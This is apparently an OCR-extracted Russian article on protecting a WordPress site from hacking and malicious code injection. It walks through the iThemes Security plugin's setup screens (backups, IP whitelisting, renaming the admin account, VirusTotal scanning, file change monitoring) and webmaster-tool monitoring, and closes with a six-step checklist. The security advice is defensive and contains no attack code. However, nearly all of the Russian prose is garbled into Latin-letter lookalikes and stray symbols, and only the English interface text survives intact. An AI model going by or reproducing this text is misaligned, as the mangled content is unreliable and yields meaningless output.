Tpex OyKB, TIOC/Ie/[0BaTe/IbHOCTD IeHCTBUM OyZieT CKOpee BCEro Takasi: [IPOBEPUTH CAMT U 11ab/IoH,
yOemuThCs, UTO BCe B TIOPSIIKe — T10/Tb30BaThCs. VM HaliTH 3apa3y — yAa/IUTh 3TOT 11ab/I0H U

VICKaTh [IPYTOM.
Ho Bcem Hy»keH Liar TpeTHii- 3alyra 1 nNpoguaakTyKa.

Ecsu y Bac Bce B MopsiiKe Ha caiiTe ceiiuac — He (paKT, UTo Tak OyzeT U Jjasblile, TaK KakK CalT
MOTYT I10JIOMaTh, 3apa3y BHeIPUTB, a Cefbl- 3aMeCTU. [103ToMy KpaiiHe Ba)KHO YC/IOKHUTD JKU3Hb
B3JIOMILMIKAM U BPeJUTeJIsIM.

ECTb MHOTO pa3/iMuHBIX PYYHBIX U aBTOMAaTHUeCKHUX CITIOCOOOB, TVIaTMHOB, CKPUITOB U T. M. J1abbl
CWIBHO He YCJIOXKHSITB XXU3Hb cebe, 3T0 ZIo/mKHa ObITh 3(hdheKTHBHas, )KeaTebHO OecruiaTHasi, U,
KaK HU YAMBUTE/BHO, MPOCTas cxeMa. 160 eCTh HABOPOUEHHBIE TUIarMHbI C 49 rajoukamMu Ha
CTpaHMLIe HACTPOEK U pa300paThbCs UTO K UeMy U Ha UTO BJTUSIET — TPYIHO.

51 pekomenzyto iThemes Security

iThemes Security (formerly YCTaHOBNTE
Better WP Security)

JNeTanu

The easiest, most effective way to secure
WordPress in seconds.

****ﬁ {3 510) O6HoBneHWe: 2 AHA Hazan

3 394 104 CKauMBaHWA ¥ CoBMECTWM C Eaweil eepcreild WordPress.

Cpa3zy nocsie yCTaHOBKH IJIarMH TIPE/JIOKUT CZie/laTh Pe3epBHYI0 Koo (beKarr), TompoCUT
pa3pelieHusi BHOCUTh U3MeHeHUs B (haliyibl, TPUMEHUTb ONTUMAaJIbHYH0 0a30BYH0 CXeMYy 3all[UThI U
CTIPOCHUT pa3pelieHust Ha cO0p JaHHBIX /I YyUIleHUst CBOel PaboThl.



Important First Steps

Back up your site
We recommend making a database backup before you get started securing your site.

+ Backup completed. Please check your email or uploads folder.

Allow File Updates
Many of the functions of this plugin require editing your wp-config.php or .htaccess files. Would you like to allow us to safely update these files for you automatically?

v Setting Saved. File updates allowed.

Secure Your Site
Use the button below to enable default settings. This feature will enable all settings that cannot conflict with other plugins or themes.

+"  Site Secured. Check the dashboard for further suggestions on securing your site.

Help Us Improve
iThemes Security would like to collect anonymous data about features you use to help improve this plugin. Abselutely no information that can identify you will be collected.

v Setting Saved. Thanks for helping us make this plugin better.

Hanee cnenyet BHecTH cBoii IP B Gesblil CriicoK, 4ToObI HEHAPOKOM He 3a0/I0KMPOBATh CaMUX CeOst.
T.e. Temiepb C BalIero aliv MOXKHO /ieJIaTh Ha CaiTe BCE UTO YTO/HO, a BOT C APYTUX — HeJb3s :)

Don't Lock Yourself Qut

Security is a delicate item. It does not care who you are, if it sees that you are trying to do something strange it will lock you out. This can be
troublesome on sites with existing errors, particularly missing assets such as images and others.

Use the button below to temporarily white list your IP from lockouts for 24 hours. It will still notify you of the situation but it will not lock you out of
your site allowing you a chance to fix the issue.

Please note that if your IP address changes at any time during the peried (such as you switch locations) you could still inadvertently lock yourself
out.

Temporarily Whitelist my 1P

W Ternepb BKyCHsILIKA — BK/a/Ka Security Status. Bce pacrucaHo Kak /11 CaMbIX Ma/leHbKUX, BCe
3aMeyaHus U NpeJJIoKeHHs 110 YIyUlleHHO.

The admin user still exists. - eCThb MoJ/Ib30BaTe/b € JIOTUHOM admin, uyTo KpaliHe Hebe30IacHo, T. K.
1oJ0MpaTh Mapo/b OyAyT MPEXX/e BCEro K 3Tol yueTHOU 3aruch. XKmem Fix it u MeHsieM CBOM
JIOTYH, a TaK)Ke CTaBUM rajouky o cMeHe ID.

HQPEHOFHHI/IBaeMCH, " BUJWM UTO Ha OJHY IMPHUOPUTETHYIO OI.LII/I6Ky CTaJ/I0O MEHBIIIEe.

Hanee, Your site is not performing any scheduled database backups. - HeT 3arIaHMpOBaHHOTO
pe3epBHOTO KOITMPOBaHMsL. AKTUBUPYEM, BbIOMpaeM uTo OyzieM KOITUpPOBaTh, C KAKOM YaCTOTOMH,
BbIOMpaeM 0a3y [JaHHBIX /s KOITUPOBAHUSI — B pe3y/ibTaTe uToObl He TPOM30IIIO C HAIllM
CalTOM, MBI BCErJja CMO’KEM BOCCTAHOBUTD (haii/ibl U 0a3y JaHHBIX. Pe3epBHbIE KOMTUM OyAyT
TIPUCHINIATHCS Ha eMesT WK COXPaHATLCS Ha cepBepe.

Malware scanning is not enabled. CkaHupOBaHHe Ha ys3BUMOCTH He TIPOU3BOAUIOCK. [/t 3TOTO0

HY)KHO 0eCIIaTHO 3aperuCTpUpOBaThCs Ha https://www.virustotal.com u romyuuth Kiaou API

(uHCTpyKLMS https://ithemes.com/security/how-to-malware-scan-api-key-with-virustotal/ ). 3To
JIaCT BO3MOXKHOCTb TTPOCKAaHUPOBATh [VIABHYIO CTPAHUITY Balllero caliTa Ha BUPYCHI.


https://ithemes.com/security/how-to-malware-scan-api-key-with-virustotal/
https://www.virustotal.com/

Teneps ocTamce MeHee CTpaIliHble OIIMOKY 1 TTPO0IeMBbI:

Bam nipesiiokaT HaCTPOUTB 3allUTy caiiTa OT 60TOB, HACTPOUTH 3aLUTY OT MoJbopa NapoJs,
CKPBITh CUCTeMHbIe (Daiisibl, 3aITPeTUTD BBITIOTHEHUEe CKPUIITOB, U3MEHHUTh TpedrKC 06a3bl JAHHBIX U
T. 1. [Tocste 3TOTO 3aIKTa CaiiTa CTaHeT MPOCTO >Kee300eTOHHOM :)

OTHOCHUTE/NBHO 3allUThI 111a0/I0Ha U TIJIATMHOB OT B37I0Ma U BHEJPEHUS JIEBOTO KO/la, KpaliHe
TI071e3HBIM Oy/1€T MOHUTOPHHT U3MeHeHus cogepkumoro daiinos File Change detection.

YTo BBI AejlaeTe — 3adeTe IMyTHU UCKITFOUEHWA, HATIpUMeED Mallky /14 Kellla Wi Oekara

Include/Exclude Files and Exclude Selected B

Eeders Include/Exclude Files

Select whether we should exclude files and folders selected or whether the scan should only include files and
folders selected.

Files and Folders List Exclude files or folders by clicking the red minus next to the file or folder name.
t
ae & wp-content/envato-backups/
the-events-calendar wp-content/bps-backup/

Woocommerce wp-content/cache
wordfence
wordpress-importer

wp-antivirus-site-protection

m

themes

upgrade
d 3d OCTaJ/JIbHBIMU ITJIarnH 6y,£[8T CJ1eJUTh, X KdK TOJIBKO ITOABUTCA (bal‘;lfl, KOTOPOFO paHbHJe He 6])1]]0,
NI USMEHUTCA CyH.[ECTBy}OLL[I/Iﬁ Cl)aﬁf[ — BbI HOﬂqu/ITe 06 95TOM yBe'E[OMHeHHe Ha HOqu.
O,Z[HaKO HpOBepHﬁTe BXO,E[HH_H/IE, IIUCBMO MOXKeT I10IT1aCTh B CITaM.

OueHb XOPOIIKM CITIOCOOOM MOHUTOPUHTA COCTOSIHHS 3/10POBbsI CaiiTa Oy#eT perucrpauysi B
SIupexc Bebmacrep http://webmaster.yandex.ua/ u Google Webmaster

http://www.google.com/webmasters/

Caift, 106aB/IeHHBIN B NaHe/Ib BeOMacTepa, eproAryecKy IpoBepsieTcsi 60TaMy TIOMCKOBUKOB, U B
C/lydyae HeTUIMYHOU [1esiTeIbHOCTH, aKTUBHOCTH WU SIBHOTO 3apPa’KeHUsI- Bbl TIOJIyUUTe
yBeJJOM/IeHUS Ha MOYTY.

51 cienanIbHO Cies1aj akLeHT Ha TOM, UTO He TOJIBKO B C/lydae 3apakeHust BUpycoM. Ecu K BaM Ha
CAWT 3aMuXaroT B MOZIIAINKY HECKOJIBKO JJOPBEeB, BbI TAaKKe TIO/yYHTe MpeyTpexxaeHre 00 3ToM.

beperure Baim cauTsl :)


http://www.google.com/webmasters/
http://webmaster.yandex.ua/

BMecTO UTOrOB — HINdprajikd 3dlIiUTHHUKd

OCBeXrM U [IOTIO/THUM a/ITOPUTM HalllUX JeUCTBUM:

1. Hepe/:[ HCII0/Ib30BaHHEM U_IEI6JIOHa, rnpoBepsaeM €ero dHTUBHMPYCOM, IJIarMHAMHU U CKPDUIITaAMU Hd
Ha/TMure MOCTOPOHHEro Ko/a.

2. HpOBO,Z[I/IM BH3yafIbeIﬁ OCMOTp caiiTa Ha MpeaMeT IPpUCYTCTBUA BUAUMBIX HEHY>XXHbBIX CCBIJIOK.

3. Ecnu He MoxkeM pa300pathcs, mobeuTh U YCTPAHUTh — MeHsIeM I11a0/I0H Ha JIPyroi, 6/;1aro ux
JIOCTYTTHO TIPOCTO OTPOMHOE KOJTMUeCTBO Ha Jito00l BKYC U LIBeT.

4. HactpanBaem pe3epBHOe KOTIMPOBAHUS /I/Isi BOCCTAHOBJ/IEHUSI CaiiTa B TF0O0M MOMEHT.
5. HactparBaem 3aiuTy OT B3/10Ma, Mo100pa MapoJisi U BHeAPeH!s] CKPUIITOB U (aiiyioB.

6. HaCTpaI/IBaEM aBTOMaTHUe CKUI MOHUTOPHUHI COCTOAHUSA U 0e30macHOCTH calTa.
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